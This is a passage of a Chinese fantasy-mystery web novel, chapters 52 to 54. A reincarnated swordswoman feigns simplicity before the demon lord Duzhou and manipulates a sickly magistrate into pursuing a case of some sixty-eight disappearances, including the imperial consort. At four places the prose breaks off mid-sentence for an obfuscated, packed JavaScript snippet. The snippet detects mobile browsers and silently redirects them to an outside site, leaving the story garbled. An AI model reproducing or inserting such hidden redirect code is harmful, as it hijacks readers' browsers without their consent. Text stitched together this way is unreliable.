这下轮到周昭哑口无言,只好假意纠结,硬着头皮继续道:“可是,丹青手放出去再害人怎么办呢?” “自然不会再让她出去害人,不过,如果能用丹青手做诱饵引丹妙出来就好了。可惜……” 当日他们在鬼城费尽辛苦才捉到丹妙,这厮却又趁鬼门关躁动之际跑掉了,果真是个活泥鳅。 渡舟没有说完,但周昭能猜到他想说什么。 可惜—— 他们还不知道丹妙到底在搞什么名堂,为什么会有她的一片魂魄,又为什么借瑶姬之名,引渡舟前去? 表面看丹妙是想用残魂威胁渡舟,做瑶姬背后的提线人,但只要仔细一想,就会发现这逻辑不通。 那日在城郊,丹妙明明怕渡舟怕得要死,如果说瑶姬不清楚渡舟的实力,敢在阎王面前耍大刀,那丹妙可是实实在在领教过渡舟高招的,不太可能愚蠢到仅凭一片残魂就妄图牵制渡舟。 那么只剩下一种可能,丹妙是故意让渡舟找到那片识魂的,但又不愿意暴露自己,才兜了这么大一个圈子将识魂送到渡舟手中。 可这一切到底是为什么呢? 总不能说丹妙脑子一抽铤而走险,妄图颠覆朝廷,要将杀神周昭重回人间? 不过有一点可以肯定,如果以上真是丹妙的意图,那他目的已然达成,瑶姬于他而言再无利用价值,鱼饵一说自然也不成立了。 这就是渡舟口中所说“可惜”二字。 周昭内心烦躁,就像一团搅在一起的乱麻。丹妙跟瑶姬暂且不提,渡舟救她又是什么目的? 毕竟周昭已经没有毕方神血,不再有利用价值。她上辈子错信过很多人,也亲手杀过很多人,死在剑下的亡魂不计其数,后世奉她一句“杀神”毫不为过。 但老天既然让她重活,周昭不会再相信任何一个人了。 “在想什么?” 周昭回过神,“善解人意”道:“啊我在想,县令大人虽然要救,但丹青手也不能就这么放了,九洲城的百姓是无辜的。我相信你,渡舟大人。” 渡舟道:“你相信我?” “是啊,渡舟大人无所不能。”周昭笑得眉眼弯弯,心中却道:我不会信你了,萧十六。 丹青手被抓,九洲城凤尾花钿案告一段落。 这件事开始得快,结束得更快。就像凤尾花钿突然出现在九洲城,没过两天又突然悉数消失了。 九洲城的小姐们不免感叹,再也用不到那么漂亮的凤尾花钿,却不知自己离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16754775|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身死魂消只有半步之遥。不过,这只是九洲城百姓生活中一个很小的插曲,日子还要继续过,漂亮花钿总会有。 没人知道这背后有什么人付出了什么代价,寻常百姓并不需要知道这些。 沈云起也已然大好,每每想到自己竟然因为一枚花钿差点儿死了就羞愧不已,一提就会跳脚。 但总有人嘴贱。 比如上官富贵。 上官大人从无相城回来后,闭门不出好些时日。他自觉知道太多秘密不是件好事,每日提心吊胆,终于有一天忍不住出门,想去看哑奴恢复得如何又不敢见渡舟,于是抬脚一转去找沈云起。 一见沈云起,他又免不了旧事重提,便招来一通暴打被赶出国师府。 周昭后来听上官跟她讲这些时,其实内心毫无波澜。她对这些人和事都丝毫不感兴趣,她是另一个时空的人,这里没有她的亲人,没有她的朋友,甚至……没有恨她的仇人。 她强装有趣,点评几句:“上官大人,你还不知道为什么被打吗?你不应该在沈姐姐面前再提凤尾花钿的。” 上官不服:“我明明是关心她啊,就问问她将那东西扔了没,还说如果没有好看的花钿,本大人送她几枚,你说我难道不是好心吗?” 周昭托腮道:“那你送了吗?” 上官茫然道:“没啊。话没说完,被打出来了。” 周昭叹气道:“上官大人真是木头。” 其实对于这张脸,上官心里可谓疑惑重重。 但上官作为暗卫,一贯秉持不该问的绝对不问。对于什么渡舟给她换了张皮这种话,上官反正是不信的,他估计只有沈云起那种笨蛋才会信。 那晚在丹青坊他看得真真切切,那脱画而出的红衣女鬼,分明就是眼前这张脸! 哑奴换了张皮,偏偏就是消失了的红衣女鬼的脸,世间哪有这么凑巧的事儿。 周昭见上官一直盯着自己看,料想对方也不会信渡舟编的谎话,她假意在脸上摸了摸,问道:“怎么了上官大人,我脸上有东西吗?” “没、没有。”上官假意喝了口茶,问道,“对了,听说主君给你起了个新名字,叫什么啊?” 周昭莞尔一笑,一字一顿道:“祝鸢。主君说,叫我祝鸢。” “祝鸢……”上官咂摸道,“名字不错。” “上官大人,这是什么啊?”周昭指着上官手腕,明知故问。 “你问这个啊……”上官露出手腕内侧一个若隐若现的莲花印记,“这是主君赐给我们的,牵机营每个人都有。” “做什么用?” “这个嘛,就是个记号吧。你看,在太阳光底下就消失了。”上官将手腕放在阳光底下,那印记果然变得极浅淡,漫漫消失了。 周昭露出惊讶的表情,抚掌道:“好玩儿!” 真好玩。 上官大人太笨了,怎么会相信做个标记这种鬼话。这种印记,名为“莲花烙”,周昭可再熟悉不过了。 二人说笑间,忽然来了人。暗卫神色匆匆,走到上官跟前,恭敬道:“上官大人,宫里来信,出事了。” “什么事。” “贵妃娘娘失踪了。” 52. 布局 上官反问道:“贵妃失踪,找我们做什么?难道牵机营管天管地,还管后宫吗?” 上官跟着渡舟混久了,说话也一股子大不敬。暗卫面色为难,小声道:“不是寻常失踪案子……” “那也不归我们管!”上官摆手道,“后宫那档子事儿麻烦死了!查来查去到最后,肯定又是女人之间玩儿心眼子,害完这个害那个,我说陛下能不能好好管管了。” 上官一说起来就没完,看来从前确实干过帮小皇帝调停后宫这种事儿,并且留下了极大的心理阴影。暗卫连话也插不上,急得冲周昭使眼色。周昭提醒道:“上官大人,你先听完原委再说不迟。” 暗卫抢道:“主君已经进宫面圣了。” 这话堪比圣旨,上官身子前倾,问道:“主君都进宫了?什么时候的事儿?” “就刚才。高公公来宣的旨,主君走时留下话了,让大人你保护好,保护好……” 暗卫偷摸拿眼睛瞥了眼周昭,实在拿不定主意该怎么称呼这位……周昭帮他接上话,问道:“没有了吗?” 暗卫深呼一口气,感激道:“没了。” 上官瞪大眼睛,道:“不是说贵妃娘娘失踪了?案子呢?原委呢?你一概不知?” 暗卫一拍脑袋:“哦对对对!” 他光顾着看周昭,竟把正经事儿都忘了,忙道:“是这样的,近日城内出现了好几起失踪案子,每个案子间毫无联系,失踪的人也是五花八门,男的女的老的少的,总之各形各色的都有。本来呢,像这种失踪案一律交给衙门管,但近些日子,衙门那位陆大人对外宣称养病,一概不见外客,所以案子直接提到刑部去了。” “刑部本来也不愿意办这种失踪案,大人你也知道,失踪案难查得很……” “说重点。” “哦哦,反正案子到了刑部,刚到一天,贵妃娘娘突然失踪了。这下刑部炸了锅,兵荒马乱,苦不堪言。怪就怪在,听说贵妃娘娘进了寝殿就没再出来过,但活生生一个人,愣是找不到了!” 活人凭空消失,失踪案毫无头绪,刑部没有办法,宫里那位坐不住,这才传渡舟进宫。 周昭听到这里,问道:“最早一人失踪几天了?” 暗卫伸出两根手指一比划,上官惊道:“十天?!” “一共失踪了多少人?” 暗卫道:“不清楚,好像有五六十个。” 人数比周昭想象的还要多……等暗卫离开,周昭问道:“上官大人,你怎么看?” 上官收起那幅嬉皮笑脸,严肃道:“五六十人前后脚失踪,不像人干的事儿。” 周昭点头附和道:“牵机营,办过这类案子吗?” “你说失踪案?”上官想了想,摇头道,“我也不清楚。” 周昭惊讶反问:“你不清楚?” “嗯。牵机营,太大了。”上官认真道,“打个比方,就拿你看到的来说,我跟云起虽同在牵机营做事,但路数完全不同。云起只管治国理政,像抓贪官治水患之类,这是她的事情。而我嘛,抓丹妙这些鬼才是我的事情。至于你说其他的,我也不知道,牵机营里别人都在做什么。” 周昭虽然早就看出,沈云起跟上官二人各有侧重,但却不知除了他们二人,牵机营的力量竟如此之广。 她不禁越来越好奇,渡舟几百年前放着逍遥自在的无相妖主不做,跑来人间建这么一所牵机营,到底是为了什么? 难道就是为了今天这种情况下,帮小皇帝找妃子? “不过既然主君说要我保护好你,就是不想让你我插手,别想这些了。” “......”周昭眸中露出一丝不易察觉的冷淡,“上官大人,你想不想去找陆大人玩儿?” 上官险些一口茶喷出来,眉毛跳了几下:“找他???” 姜宅一事,陆轻苹可谓尽心尽力。 那时周昭亲眼所见,对方一介文弱书生,能跟着她和渡舟在乱葬岗抓妖。因此周昭对这位陆大人并不反感,是个既清廉又刚正不阿,十分有原则的人。 这样的人其实非常好相与,也非常容易利用。 周昭打定主意,反复劝说上官跟她去找陆轻苹。谁知上官打死不干,说什么陆轻苹上次被牵机营牵连官降三级,结下梁子,去了一定会碰钉子。 “好吧,那我只好自己去了。” “小哑......喂!那个谁!” 周昭假装没听见身后上官的跳脚声,一溜烟从牵机营径直跑去衙门。 陆轻苹的府邸很好找,就在衙门不远那条巷子最里头那家。尽管做足了心理准备,周昭在看到那间就差写着“本人家贫,请勿打扰”这样一副招牌的宅子时,还是略微惊讶。 砰砰! 周昭扣响门,无人应。 难道陆轻苹堂堂前任巡抚,在任县令,竟连一个侍从都没有吗? 周昭又扣门,仍是无人应。 吱—— 她试着一推,门开了,没锁。 “陆大人?在家吗?” 周昭向前走了几步,一股混着野草的潮湿气息扑面而来,并不难闻,就是闻着太冷清。伴随这股几乎没什么活人气儿的青草野蛮生长味道,紧随其后的是一阵沉闷的低咳,让人很容易联想到一张久病未愈的脸,和胸腔内短促的呼吸。 周昭循着声音走近,隔着一张干净到令人发指的竹帘,是一个男人清瘦的脸。瘦削,挺拔,带着病容的苍白肤色,紧锁着的眉,以及看见生人闯入时,眼中毫不掩饰的一点儿厌恶和戒备。 短短几个月未见,彼时还算意气风发的陆大人可清瘦不少。 再往前走就是不知礼数了。 周昭在竹帘外站定,拱手拜道:“陆大人。” 陆轻苹掀起眼皮打量,周昭来之前已经乔装打扮一番,此刻站在陆轻苹面前的,不过是个相貌平平的青袍少年。说来周昭从上官那儿确实顺来不少好东西,这易容丹虽不比无相城那时候吃的化鬼丹,只有几个时辰功效,拿来骗骗陆轻苹却足够用了。 陆轻苹淡定从容至极,看她一眼又收回目光,继续翻动手中书卷,低声问道:“……你是何人?” 确实病了。 难道上次被月季花妖咬伤还没好?周昭起身道:“陆大人,我有从牵机营而来的消息,特来告诉大人。” 果然如上官所说,陆轻苹听到“牵机营”三个字,眉头锁得更沉。不过依周昭看来,这位陆大人并不是因为上次姜宅一案,被牵机营连累才这么痛恨,他这种人,清白一身,能看上牵机营这种不黑不白的地方就怪了。 牵机营,说好听是国之利器,说难听就是权臣当道,若我是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759115|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当朝天子...... 周昭一阵心惊,悬崖勒马。 恰好此时陆轻苹悠悠开口:“我和牵机营素无来往,也不想攀权附贵,你请回吧。” 意料之中。 “陆大人,您病了几日了?” 陆轻苹面露诧异,仍答道:“……十日左右。” “哦,十日。”周昭抬手数了数,“陆大人可知道,这些日子衙门堆了不少案子。” 陆轻苹道:“病不由我,人之常情。” 周昭道:“大人说得对。但您有所不知,这十日内九洲城发生了一件大案子,近百人平白无故陆续失踪。这些案子有的堆在衙门,有的堆在刑部,全都无人腾出手管理,大人知道这是为什么吗?” 陆轻苹的表情终于起了一丝变化,周昭继续添柴点火:“因为这些失踪的人都无关紧要,他们都是些平民百姓,丢了便丢了。但有一个人万万丢不得,那就是当今天子宠妃——贵妃娘娘。陆大人,我今日来就是想告诉您,牵机营正领命查案,查的就是贵妃娘娘失踪案。我不好说这案子跟另外那近百人的失踪案有什么关联,但在牵机营看来,在圣上看来,只有贵妃娘娘,才是值得牵机营去查的那个案子。” “……至于如今衙门桌上那些堆积成山的失踪案,陆大人可自行看着办。” 周昭一口气说完,点到为止。 她这话三分真心,三分假意,剩下的全靠言语诱骗。陆轻苹不相信牵机营,看不上牵机营,周昭要的就是这份鄙夷和不信任,再加上陆大人那一颗爱民如子的真心,周昭不信陆轻苹还能坐得住。 “……九洲城内有近百人失踪?贵妃娘娘也……” 鱼饵动了。 周昭点头道:“对。” “……牵机营,自刑部接管了贵妃娘娘失踪案?” “没错。” “其余报案公文呢?” 周昭来之前就去衙门看过了,这回不算骗陆轻苹,答道:“一部分在衙门放着,由县丞大人主管。” 要是县丞会办案,周昭还不好来请陆轻苹。关键她跟陆轻苹都心知肚明,那县丞也是新调任来的,比从前经验丰富的贺金牙可差远了,如今县衙就是一个空空荡荡的摆设。 陆轻苹终于站起身,从那竹帘后出来。周昭闻到一阵扑鼻药香,跟这里的潮湿不同,反而十分干爽清冽,竟有几分好闻。 陆轻苹道:“你跟牵机营......什么关系?又为何要来找我?” 周昭道:“陆大人,实不相瞒。我从前受过衙门县令大人恩惠,他待我如兄如父,我却一直没有机会报答。今日偶然路过衙门,见门庭冷落,案卷如山,心中实在不安。我素来不喜牵机营行事作风,听说那主君为人阴晴不定,手段阴毒......" 周昭说到这里,渡舟那张似笑非笑的脸突然在脑海中晃了晃,她定定神,继续道:“案子交到他手中,想必牵机营眼中只有贵妃,没有寻常百姓。我思来想去,斗胆来找大人,还望大人不要见怪。” 周昭言辞恳切,滴水不漏。说完心中如鼓鸣,不知她这番话陆轻苹信了几分。对方沉默良久,久到周昭都以为这人是不是又病过去了,才听见一个声音从青石阶上传来—— “你有这份心,倒十分难得。” 竹帘掀起又落下:“我换身衣服。” 53. 昆仲 周昭跟着陆轻苹往衙门去时,瞥见他身上穿的虽然比刚才那件满是药味的衣服好些,却仍是件朴素到极致的白衣,心道:“当官儿的做到陆轻苹这份儿上,也算头一个了。” 等到了县衙,比周昭前头来时倒热闹许多了——何止是热闹,简直就是沸反盈天——男女老少几十口人,全都拥堵在县衙门口,衙役们站成一道人墙,周昭勉强能隔着窗户看见县丞那顶朝不保夕的乌纱帽,一脸愁眉苦相。 “老爷!我家夫人已经走失五日了!求老爷再派人找找吧!” “还有我!家母三天前出门就再也没回来,先找找我这边吧!” …… 这倒是帮了周昭的忙。 陆轻苹往人群中一站,立刻有衙役认出他来,眉毛一抬,再三确认,随即喜笑颜开,高声叫道:“县令大人来了!” “县令大人!是县令大人来办案了!” “家母有救了!县令大人终于来了!” …… 人群顿时调转方向,将陆轻苹严严实实围困起来,俨然像是见到了活救星。 看来选中的这人声望不错。 周昭早有远见,跟陆轻苹站的相距甚远,先是事不关己看了阵儿所谓官民一家亲的热闹,见陆轻苹面色透红有些招架不住,才慢悠悠地溜进衙门正堂,敲了敲县丞面前的木桌,道:“没看见县令大人都快被百姓挤死了吗?还不让人速去把闲杂人等赶走?” 老县丞眼神不好,耳朵更不好,本来正纳闷那些来闹事儿的百姓怎么退回去了,被周昭这么威严地一敲桌二说话,雪白的胡子跟着抖了抖,问道:“谁?谁在说话?” 他抬头再要发怒,被一个闯进堂来的衙役打断:“大人!是陆大人回来啦!” “陆大人?哪个陆大人?” “还有哪个陆大人!就是咱们新上任的县令,陆轻苹大人呐!” 老县丞终于听见陆轻苹三字,从凳子上颤巍巍站起来,高呼道:“快请!请陆大人上坐!” 县丞抬脚迈出门槛时,心里犯嘀咕:怪事......刚才明明有人在我耳边说话,怎么一眨眼就不见了...... 周昭极熟悉这里的地形构造,转身便从小门走了。给陆轻苹留下一封信,上写: 今日事杂,先走一步。下回时机到时,再与大人详谈。 又附一行小字: 大人心系百姓,万望保重贵体。 周昭从县衙出来,又绕了一大圈才回牵机营。等她回来天已擦黑,不知为何,总觉得哪里不对劲—— 太安静了。 静悄悄的,像是一个人都没有,连整日游荡的傀儡都不见踪影。 上官似乎也不在。 难道宫里又出什么事儿了?周昭正这么想着,穿过回廊,突然一声尖利的猫叫,夜空中一团白乎乎的东西笔直地朝她的脸砸过来! “暧!般般!” 周昭被这突然扑到怀里的白猫骇了一跳,后退两步站稳,白猫往她怀里胡乱蹭,周昭正要摸摸猫背,怀里一轻,猫耳朵被一只突然出现的手揪住,毫不留情地丢开了。 这猫刚才……似乎就是这样被人丢出来的。 她顺着那只手看去,渡舟应当是刚从宫里回来,身上沾着一股淡淡的乌木沉香。 他穿着件墨色暗纹长袍,几乎没有一根亮色丝线点缀其中,不知是不是这个缘故,渡舟的脸在月光底下显得有些阴沉沉的,但那双眼睛却仍然温和。 是的,温和。 周昭醒过来后,见到的渡舟便总是这幅温和的样子。这让她觉得不适应,并且……很奇怪。 从前的萧十六满身戒备,稍微一亲近便要竖起满身的刺。周昭少年时长了颗圣人心,萧十六越拒人于千里之外,她越想把他身上那层裹着坚冰的刺悉数融了,向长淮他们证明,萧十六那一身扎人的刺下面也存有善意。 想到此处,她暗骂道:“庙里念了几天经,名字里带了个明,还真当自己是光芒万丈的救世主了。” “……吓到你了吗?” 周昭本以为渡舟会问她去哪儿了,她都已经想好一番说辞,如何应对才能让渡舟不起怀疑,谁知对方只是如此轻描淡写一句,不禁愕然片刻,很快恢复自然,答道:“还好。” 白猫此时又迈着步子靠近,看上去很想跳到周昭怀里,但是又碍于渡舟的威慑,只好在原地兜着圈子打转儿,一边转圈一边喵喵叫,声音透着股可怜。 “般般,来,过来。”周昭蹲下招手,白猫终于得偿所愿,一个猛子扎进她怀里,寻了个舒服的姿势蹭蹭脑袋,顺便向渡舟投以挑衅的目光和猫叫。 要不是亲眼所见,知道这是猫,周昭简直要以为这猫成精了,心想这只猫倒是跟从前萧十六养的那只很像。 渡舟鄙夷道:“会装。” 说者无心,听者有意。 周昭一边顺着毛摸,一边漫不经心问道,“上官大人说宫里出事情啦,渡舟大人,你去见皇帝了吗?” “嗯,去了。” 周昭又道:“皇帝今年多大?长什么样子?能带我去看看吗?” 渡舟眯起眼睛,淡淡道:“皇帝有什么好看的。” 大宣皇帝八岁继位,刚满二十。 周昭只知道这个,她其实有点好奇,这位年轻的帝王是怎么看待渡舟和牵机营的。经由几个月前姜宅一事,小皇帝明显对牵机营起了忌惮,听说宫里各个哨卡都换了层血,这对周昭来说不算坏事。 不过宫里贵妃丢了,小皇帝又急不可耐找渡舟,还像个没断奶的孩子,倒是让周昭捉摸不透。 周昭没有停下手上动作,随口说道:“唔……也是,皇帝想必不会有你好看的。” 渡舟没有应声,但笼罩在阴影里的神情似乎起了微妙的变化,周昭暗暗想道:“原来渡舟这只大妖也喜欢听好听的话,这就简单很多了。” “……下来,回去睡觉。”渡舟伸手捉猫,般般张口便咬毫不留情,周昭抬眸道:“渡舟大人,你太凶啦!” 渡舟微笑道:“是吗?” 周昭假意思索片刻,摇头道:“我说得不对,有时候不凶的。” 渡舟却突然不依不饶,继续笑道:“比如呢?” 装傻子真麻烦! “嗯比如……陪我吃饭的时候,还有给我讲故事的时候。对了渡舟大人,你什么时候再给我讲故事呢?” 渡舟长久地注视着她,笑容从他脸上退去,一如既往地温和说道:“再等等。夜深了,回去休息吧。” 喵!! 般般被渡舟强行扒开,老老实实挂在渡舟臂弯了。渡舟一手举着猫走了两步,又回过头道:“快去吧,明日我陪你吃饭。你不是想知道宫里发生了什么事儿吗,明天我讲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16765055|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给你听。” 渡舟走远了,周昭脸上的表情终于淡去,恢复了沉默的死寂。 翌日,渡舟果然信守承诺,将失踪案原委一字不拉地告诉周昭。 十日内一共失踪六十八人,男女老少皆有,身份地位各不相同,有的是在家中凭空消失,有的是外出再也没回来,有的更奇怪,在酒楼上个茅房的功夫人就不见了。 周昭一边听着,一边低着头用筷子拨弄碗中的米粒,心中却忍不住想: 鬼会吃饭,妖会办案,只有陆大人是个药罐。 正想着,渡舟目光扫过来,停下不再讲了,问道:“不合胃口?” “......啊?”周昭茫然抬头,回过神道,“说到哪里了?” 渡舟摇头道:“吃饭吧。” “哦,好。”周昭低下头继续把白饭往嘴里送,胡乱嚼了几口咽下,放下筷子道:“渡舟大人,最后一案是哪里?” 渡舟道:“皇宫,贵妃。” 周昭道:“案发期间,平均每日都有人失踪吗?” “是。” “贵妃前日失踪,昨天没有新的失踪案,今天也没有,很奇怪呢......” 渡舟微笑道:“是很奇怪。你觉得凶手是什么?” 反正不是人。 周昭摇头装傻:“想不出来。” 渡舟继续循循善诱:“这世上发生任何事情,都是有迹可循的。所以不管什么案子,都会留下痕迹。但这些失踪案,却没有任何可查的痕迹。” “是妖吗?还是恶鬼?” 渡舟将筷子在指尖转着玩儿,漫不经心道:“无论是妖还是鬼,这么短的时间内吃掉这么多人,也会留下痕迹。” “他们都被吃掉了吗?” 渡舟停下手上的动作,无所谓道:“我乱说的。” 渡舟一点儿没变。 紧跟着,周昭平静地发现自己内心竟也毫无波澜,像一片寸草不生的荒地,再也长不出当年舞剑惜花之情。 她又问:“怎么找到痕迹?” “再等等,快了。” 渡舟放下筷子,摸出一根骨箫转着玩儿。说来堂堂无相妖主的法器,骨箫昆仲,周昭只见渡舟用过两回。一回是被她带着挖坟刨尸,一回是渡舟试探她的剑术。 两次都是非正当用途,周昭从不曾见渡舟吹过,于是好奇多看了两眼,渡舟却冷不防递给她,好似邀请:“想看?” 周昭也不推辞,伸手去接。她上回见识过这骨箫的厉害,于是存了份忍痛的心思,不料这回握在手中却没有刺骨的痛感,只是有些微微的凉意,很快又变得温润似玉了。 渡舟解释道:“昆仲如果不喜一个人,就会冰冷刺骨不能触碰;反之,就会让自己慢慢适应对方的温度。譬如在我手中,昆仲就是冷的;而在你手中......” 渡舟突然伸出手握住骨箫另一端,拇指轻柔地摩挲两下,抬眸微笑道:“是温暖的。” 他的目光过于灼热,手中的骨箫突然间变得有点烫手,空气随之凝滞,周昭缓慢挪开视线,问道:“......昆仲,为什么叫这个名字?” 渡舟松开昆仲,眼神掠过一丝沉寂,随即漫不经心道:“瞎起的。” 说完,渡舟换了个姿势坐好,摊开左手,一张信封凭空落在他掌心。 “我们找的痕迹,来了。” 54. 查案 渡舟轻巧地拆开信封,一目十行看完,交给周昭。 信上详尽地记录了九洲城内这六十八个案子,相关时间地点人物,再往后看是一行小字,写着最新的勘察结论,尽管案件错综复杂看上去毫无头绪,还是让牵机营找到了共同之处: 这六十八人中,有半数以上曾经去过一家首饰铺,另外半数人虽没去过,但他们失踪前去的最后一个地方,如酒楼茶楼之类,都跟那家首饰铺有过生意往来。 难道是那家首饰铺子有问题? 周昭惊讶于牵机营办案效率之高,不过短短一日时间,竟能查探过六十八案,找到其中联系。看来牵机营力量之广遍布宣朝上下,并非坊间虚言。 周昭放下信纸,问道:“上面写,这家吴记宝斋是九洲城的老字号,每日流水不算小,而这些人从那儿买过的东西五花八门,看不出什么特别的。” 渡舟道:“还需要一点时间,不过,快了。” 又是快了。 但这回渡舟没有转着昆仲等消息,他站起身,对周昭说道:“我进宫一趟,在家等我。” “家”这个字眼过于敏感,甫一说出口,气氛突然变得有些微妙。 渡舟移开目光,在阳光底下,他那总是近乎苍白的皮肤也被染上一丝鲜活的人气。渡舟微微蹙眉,眯起眼睛,似乎不大喜欢这样明朗的好天气。 周昭问道:“渡舟大人,你总是这样亲力亲为吗?” 渡舟眉眼随之展开,答非所问道:“太无聊了。” 太无聊了,所以找点事情做。 不是因为想找什么贵妃,也不是因为想救什么人,纯粹是活的时间太长,人生太过无聊了。 作为一个早早死掉的人,前世今生加起来不过短短二十有六,周昭并不能足够理解渡舟这种感觉。 但可以想象。 等渡舟离开,仆从收拾完桌上的残羹剩饭,周昭溜出牵机营,捏了颗丹药,一口吞下去。 周昭轻车熟路来到衙门口,见萤木正跟着陆轻苹不知说些什么,情绪激动眉飞色舞,干得正起劲。 陆轻苹看见周昭,很聪明地屏退众人。周昭收回心思,开门见山:“陆大人,失踪案有眉目了?” 陆轻苹道:“案卷都被牵机营拿走了。” 虽是意料之中的事情,但这么被陆轻苹说出来,周昭很难假装看不到对方眼中不加掩饰的幽怨。 其实她昨天来找陆轻苹前,就知道案卷一定会被渡舟拿走,不光衙门的,已经上报刑部的也都会并案到牵机营处理。 渡舟要找贵妃不假,但贵妃也是失踪案的其中一个,并案是最好的选择。 周昭那时候请陆轻苹出来办案,就是跟渡舟打了个时间差,赶在牵机营来衙门之前,先把陆轻苹骗到衙门再说。 况且案卷被渡舟拿走也没什么不好,牵机营不是很快就锁定了吴记宝斋吗? 唯一不足的,是陆轻苹是个聪明人。 这样的聪明人昨天不清楚局势,又爱民如子,被周昭花言巧语骗来衙门坐镇,很快就能反应过来,这件案子只要上交牵机营,他这个衙门县令的作用其实可有可无。 而聪明人只会上一次当。 周昭面不改色道:“哦,那很不巧了。” 陆轻苹道:“这案子并不需要我,你如果想替贺大人做点事,不如投靠牵机营来得快些。” 周昭微笑道:“怎么,清廉一身的陆大人竟会说这种话?” 陆轻苹两眼一抬,目光锐利,没有回答她这咄咄相逼的问题,转而问道:“你找我,还有什么事情?” 周昭道:“我是来给陆大人送消息的。” “什么消息。” “失踪案的凶手。” “抓到了?” “不。”周昭将那张纸上看来的原原本本告诉陆轻苹,接着道:“……所以,吴记宝斋一定有问题。” 陆轻苹听完,反问道:“难道牵机营不会去查吴记?你告诉我这些,用处不大吧。” “当然有用,我希望陆大人赶在牵机营前面破案。” 陆轻苹挑眉道:“哦?你为什么觉得,我能赶在牵机营前面破案?” “因为我会帮你。”周昭压低声音道,“陆大人,你不觉得牵机营的手伸得太长了吗?如今大宣掌权的,到底是宫里那位,还是牵机营那位,陆大人想必比我更清楚。” 陆轻苹眉心微跳,看向周昭的眼神多了几分探究:“你是想借此案动摇小皇帝对牵机营的信任?” 周昭淡淡道:“我只是想让皇帝看到,除了牵机营之外还有其他人可以信任,譬如......” 她注视着陆轻苹,微笑道:“陆大人你。” “......”陆轻苹沉默良久,“这对你有什么好处?” 周昭道:“我帮陆大人破案,事成之后,希望陆大人也能帮我一个小忙。” “什么忙?” “一不杀人放火,二不有违道义,陆大人可以放心了吗?” 陆轻苹脸上的表情似乎因为周昭这句话变得生动起来,他没说同意也没说反对:“什么时候去唐家?” 果然是聪明人。 周昭微笑道:“现在就走,大人空否?” 唐家小姐是九洲城这起连环失踪案中第一人,案卷记载:唐灵儿半月前从吴记宝斋买回一只玉佩,过了五日,唐灵儿便失踪了。 据唐家人描述,最后一次见到唐灵儿是在她的闺房,丫鬟们服侍她就寝后便退下了。 第二日清晨,却见唐灵儿许久不起身,以为贪睡便没敢进门去叫,谁知到了午时还不见起,推门才发现里面早空无一人。 周昭跟随陆轻苹到了唐家,立时有人迎上来询问是不是唐灵儿找到了。 唐府虽然没有姜宅排场阔气,也算家底殷实。唐家只有唐灵儿这么一位待字闺中的小姐,十分受宠,从她过午不起,却没人敢进屋去叫就可见一斑了。 “……还没有,我们是来查案的,劳烦带路。” 陆轻苹这张新任县令的脸认识的并不多,但听说是衙门来查案的,唐家人立刻十分恭敬,一边走一边说道:“唉,我家小姐也是倒霉,好事遇不上,坏事接二连三。” 周昭竖起耳朵听,正要问话,从里屋冲出来一人,身法之快,比般般有过之而不及,一眨眼的功夫就飞奔到他们面前,抓住陆轻苹急切道:“大人,灵儿找到了?” 来人双眼遍布血丝,头发乱蓬蓬的,发冠歪倒在一边,比陆轻苹这位病人还要形容憔悴几分。 周昭心道:“哦,原来是他啊。” 此人便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16773487|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是那日在无相城中他们遇到的那位,周昭记得好像是叫唐稽。 这却是件凑巧事儿了,几个月前唐稽被马货郎抓去无相城险些卖掉,如今唐灵儿又失踪了,唐家还真是风水不好。 唐稽自然是认不出周昭的,却认识县令陆轻苹,目光如炬,恨不得陆轻苹立刻吐出一个“是”字才好。 “稽儿,不得放肆!”一个略显老态的声音传来,走近对陆轻苹行礼道:“县令大人,怎么亲自前来了?府上招待不周,还望见谅。” 又回头对唐稽低声呵斥:“还不放开县令大人!” 唐稽这才恍恍惚惚松开陆轻苹,叫道:“爹.....” 看来唐稽跟唐灵儿是兄妹,怪不得如此失态。妹子失踪这么多天,当哥哥的心急如焚,实属人之常情。 